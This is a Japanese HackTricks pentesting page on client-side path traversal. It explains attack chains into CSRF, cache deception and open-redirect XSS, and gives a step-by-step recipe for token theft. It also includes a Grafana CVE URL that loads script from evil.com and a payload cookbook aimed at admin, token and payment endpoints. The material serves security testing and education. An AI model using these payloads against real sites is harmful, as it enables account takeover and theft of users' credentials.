Client Side Path Traversal

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Client Side Path Traversal は、ユーザが正規の方法で「訪問するように送られる URL のパス」を操作できる、またはユーザが JS や CSS によって「強制的に訪問させられる」場合に発生します。CSPT は On-Site Request Forgery (OSRF) とも呼ばれ、被害者のブラウザを強制して同一オリジン上の任意パスへクッキー、JWT、mTLS 証明書などを付与した状態でリクエストさせることができます。

典型的なソース(あなたが制御できるデータ):

  • ルートパラメータが fetch() や XHR のパスに連結される箇所(React Router、Next.js の dynamic routes、Vue router params、Angular の ActivatedRoute)。
  • バックグラウンドジョブ、service workers、または WebSocket URL 内でパスに埋め込まれるストアされた値(プロフィールスラッグ、ドキュメント ID)。
  • UI ガジェット(download/export ボタン、画像ギャラリー)が API エンドポイントにユーザ制御のフラグメントやファイル拡張子を付加してからリクエストを発行するケース。

典型的なシンク(トラバーサルが着地する場所):

  • 認証ヘッダを自動的に再利用するフロントエンドの API ラッパーが /api//proxy/ を先頭に付ける部分。
  • hydration 中に後で URL を再構築する history.pushState / router.navigate ヘルパー。
  • CMS コンテンツや feature-flag ペイロードから生成される <link>/<style>/@import 文。

一般的な影響とチェーン

  • CSPT ➜ CSRF/OSRF: 意図したリソースパスをエスケープしてから敏感なエンドポイント(パスワードリセット、支払い承認、アクセス取り消しなど)へ再突入することで、認証済みの POST/PUT/DELETE 呼び出しをハイジャックできます。エスカレーションには CSRF チェックリストと組み合わせてください。
  • CSPT ➜ cache deception / poisoning: 公開 CDN キーから攻撃者制御の JSON を提供して認証を要しない形で再生できます。詳細は Cache Poisoning and Cache Deception を参照してください。
  • CSPT ➜ Open Redirect ➜ XSS/SSRF: トラバーサルが Open Redirect エンドポイントに着地し、そこから攻撃者インフラへリダイレクトされて悪意ある JS や SSRF ペイロードをロードされるパターン。これを Open Redirect の悪用と連鎖させます。

事例

  • this writeup では、招待 URL を変更して結果的にカードをキャンセルさせることが可能でした。
  • this writeup では、CSS 経由の client side path traversal(CSS リソースの読み込み元パスを変更できる)を open redirect と組み合わせ、CSS を攻撃者管理ドメインから読み込ませることが可能でした。
  • this writeup では、CSPT を悪用して CSRF を実行する 手法が示されています。これは攻撃者が制御できる全データ(URL パス、パラメータ、フラグメント、DB に注入されたデータ…)と、それらのデータが到達するシンク(発行されるリクエスト)を監視することで行われます。
  • 監視用に このブラウザ拡張 をチェックしてください。
  • テクニックを試すための CSPT playground を確認してください。
  • ブラウザ拡張を playground で使う方法は このチュートリアル を参照してください。

CSPT-assisted web cache poisoning/deception

CSPT は拡張機能ベースの CDN キャッシュと連鎖して、認証付き API 呼び出しで露出した機密 JSON を抜き出すために使えます:

  • フロントエンドがユーザ制御の入力を API パスに連結し、fetch/XHR で認証ヘッダを付与する。
  • ドットセグメント(../)を注入することで、認証付きリクエストを同一オリジン内の別エンドポイントへ向け直せる。
  • もしそのエンドポイント(または .css のような静的に見えるサフィックスを持つパス変種)が CDN によって認証ヘッダでバリエーションされずにキャッシュされると、被害者の認証済みレスポンスが公開キャッシュキー下に保存され、誰でも取得可能になる。

簡単な手順:

  1. パスパラメータから API URL を構築して auth ヘッダを送っている SPA コードを見つける。
  2. 敏感なエンドポイントを識別し、CDN が JSON を返しつつ Cache-Control: public/max-age と X-Cache: Hit に切り替えるか確認するために静的サフィックス(.css, .js, .jpg, .json)を試す。
  3. 被害者を、SPA パラメータにトラバーサルを注入する URL に誘導して、認証付き fetch がキャッシュ可能なパス変種(例: ../../../v1/token.css)に当たるようにする。
  4. 同じ URL を匿名で再取得してキャッシュされた秘密(token → ATO)を読み出す。

詳細と緩和策は Cache Deception ページを参照してください: Cache Poisoning and Cache Deception

探索ワークフローとツール

インターセプトプロキシを使ったパッシブ発見

  • ソース/シンクを自動相関: CSPT Burp extension はプロキシ履歴を解析し、後で他のリクエストのパス内に反映されるパラメータをクラスタ化し、canary トークン付きの PoC URL を再発行して実 exploitable なトラバーサルを確認できます。JAR を読み込んだら Source Scope をクライアントパラメータ(例: id, slug)に設定し、Sink MethodsGET, POST, DELETE にしておくと危険なリクエストビルダーがハイライトされます。内部の canary を埋め込んで疑わしい全ソースをエクスポートし、一括で検証できます。
  • 二重 URL デコードを探す: Burp や ZAP でブラウズ中に、フロントエンドで正規化される /api/%252e%252e/ のようなパターンを注視してください—これらは通常、ルート状態を参照する base64 エンコードされた JSON ボディとして現れ、自動スキャナなしでは見落としやすいです。

SPA シンクを手動で計測する

DevTools に短いスニペットを落とすと、UI を操作しながら隠れたトラバーサルを可視化できます:

(() => {
const origFetch = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET");
debugger;
}
return origFetch.apply(this, arguments);
};
})();
  • 同様のラッパーを XMLHttpRequest.prototype.openhistory.pushState、およびフレームワーク固有のルーター(例: next/router)の周りに追加します。init.credentials === "include" を監視すると、セッションクッキーを含むリクエストを素早く絞り込めます。
  • アプリが routing hints を IndexedDB/localStorage に保存している場合、それらのエントリを traversal ペイロードで編集してリロードしてください — 変異した状態はプレハイドレーション時にリクエストへ再注入されることがよくあります。

Lab & payload rehearsal

  • docker compose up で CSPT Playground を起動し、ターゲットに触れずに traversal ➜ CSRF ➜ stored XSS のチェーンを練習してください。ターゲットのルーター構造をローカルで再現すると、共有可能な PoCs を作成しやすくなります。
  • Recon 中に確認した成功したドットセグメントのバリエーション(..;/, %2e%2e/, %2e./%2e/, UTF-8 homoglyphs)やサフィックスのトリック(.css, .json, ; matrix params)をスクラッチパッドに残しておき、新しい sink が現れたときに素早く再利用できるようにしてください。

Recent case studies (2025)

  • Grafana OSS CVE-2025-4123/6023 (v11.5.0+)/public/plugins/ 内の traversal ガジェットにより攻撃者は ../../ をプラグインのアセットローダーにすり込むことができ、これを Grafana の open redirect と連鎖させて被害者に攻撃者管理下のプラグインバンドルを読み込ませることができました。anonymous dashboards が有効な場合、https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js のような細工された URL によりブラウザがリモートの JavaScript を実行してしまいます;Image Renderer plugin がインストールされていると、同じ原始手法をレンダリングリクエストを内部ホストに向ける形で SSRF に転用できます。単一の traversal が XSS と SSRF の両方の角度を与えることが多いので、プラグインのアセットパス、anonymous dashboards、renderer のエンドポイントは常に一緒にテストしてください。

Payload cookbook

目的ペイロードパターン備考
同一オリジン内の隣接 API に到達?doc=../../v1/admin/usersルーターが単に /${doc} を連結する場合に動作します。CDN が静的に見えるアセットのみをキャッシュする場合は .json を追加してください。
SPA に open redirect をたどらせる?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/xターゲットのコードベースに列挙された信頼できるリダイレクタと組み合わせてください。Open Redirect とチェーンしてください。
拡張子ベースの CDN キャッシュを悪用?file=../../v1/token.cssCDN が .css を静的と見なして、JSON として返される機密情報をキャッシュする可能性があります。
メソッド変更による CSRF?action=../../payments/approve/.json&_method=POST_method オーバーライドを受け付けるルーターもあります;traversal と組み合わせて破壊的なエンドポイントを再ターゲットしてください。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする